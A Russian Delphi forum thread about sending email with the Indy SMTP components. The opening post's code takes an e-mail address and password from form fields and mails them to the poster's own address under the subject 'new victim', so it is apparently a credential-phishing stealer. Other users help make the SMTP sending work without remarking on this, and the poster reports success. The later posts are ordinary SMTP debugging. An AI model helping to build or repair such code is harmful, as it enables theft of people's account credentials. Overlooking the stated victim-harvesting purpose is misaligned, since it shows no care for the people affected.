SMTP idmessage отправка почты в дельфи

[betirsolt]

доброе время суток ..у меня тут такая проблема не могу написать прогу которая отправляет простое письмо вот код:#

procedure TForm1.Button1Click(Sender: TObject);
begin
idSMTP1.Host:='smtp.mail.ru'; // адресс почтового сервера
idSMTP1.Port:=25; // порт по которому будет осуществляться подключение
idSMTP1.Username:='betirsolt@mail.r u'; // логин пользователя
idSMTP1.Password:='12345666'; // пароль пользователя
idSMTP1.Connect;
with IdMessage1 do
begin
body.Text:='e-mail: '+combobox1.Text+combobox2.Text+' пароль: '+edit1.Text;
From.Text := 'nevajno@mail.ru';
Recipients.EMailAddresses := 'betirsolt@mail.ru';
Subject := 'НОВАЯ ЖЕРТВА';

end;


try
showmessage('подключился');
idSMTP1.Send(IdMessage1);
finally
idSMTP1.Disconnect;
end;
end;

все компилируется без ошибок....но когда я в этой откомпилированной проге нажимаю эту кнопку происходит какая то ошибка...вроде сообшение тоже выводит что подключился.....подксажите пожалуйста что тут не так

[Квэнди]

но когда я в этой откомпилированной проге нажимаю эту кнопку происходит какая то ошибка...вроде сообшение тоже выводит что подключился.....подксажите пожалуйста что тут не так

вроде ошибка какая-то происходит...

[spamer]

Дето я(и не токо Я) уже писал пример по отправке.
Но вот держите

procedure TForm1.Button1Click(Sender: TObject);
var
  mes: TIdMessage;
begin
  mes:=TIdMessage.Create(Form1);
  IdSMTP1.Host:='SMTP.mail.ru';   //Здесь меняете хост ,если нада
  IdSMTP1.Port:=2525;
  IdSMTP1.AuthenticationType:=atLogin;
  IdSMTP1.Username:='Ваш E-mail';
  IdSMTP1.Password:='Ваш пароль';

with mes do
  begin
    Body.Add('Это сообщение');
    From.Text := 'Ваш E-mail';
    Recipients.EMailAddresses := 'Ваш E-mail';
    Subject := 'Какая то тема письма';
  end;

  IdSMTP1.Connect;
  If IdSMTP1.Connected Then IdSMTP1.Send(mes);
  IdSMTP1.Disconnect;
end;

А также http://programmersforum.ru/showthread.php?t=57729

[betirsolt]

ребята всем спасибо мой код что то заработал и я счастлив))))))))
спасибо еще раз

[Volt]

не стал создавать новую потому что тема похожа помогите почему выдает ошибку?

program Project1;

uses
Forms, IdMessage, IdSMTP;

{$R *.res}

var
IdSMTP1: TIdSMTP;

procedure email;
var
mes: TIdMessage;
Attach: TIdAttachment;
i : Integer;
begin
mes:=TIdMessage.Create(Application) ;
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=2525;
IdSMTP1.AuthenticationType:=atLogin ;
IdSMTP1.Username:='log';
IdSMTP1.Password:='Ваш пароль';

with mes do
begin
Body.Add('текст');
From.Text := 'Ваш E-mail';
Recipients.EMailAddresses := 'Ваш E-mail';
Subject := 'тема';
end;


IdSMTP1.Connect;
If IdSMTP1.Connected Then IdSMTP1.Send(mes);
IdSMTP1.Disconnect;

end;



begin
Application.Initialize;
email;
Application.Run;
end.

[Stilet]

почему выдает ошибку?

У тя тоже компилятор на латыни ошибки пишет, да?

Вот скажи где ты создаешь экземпляр IdSMTP1? Я не вижу.
Нужно же его создавать прежде чем использовать

[dolphin705]

А причём тут

Attach: TIdAttachment;

???

Советую так конектится

IdSMTP1.AuthType := satDefault;

Ещё от версии инди зависит!

И ещё ребята, пользуйтесь поиском, там столько примеров!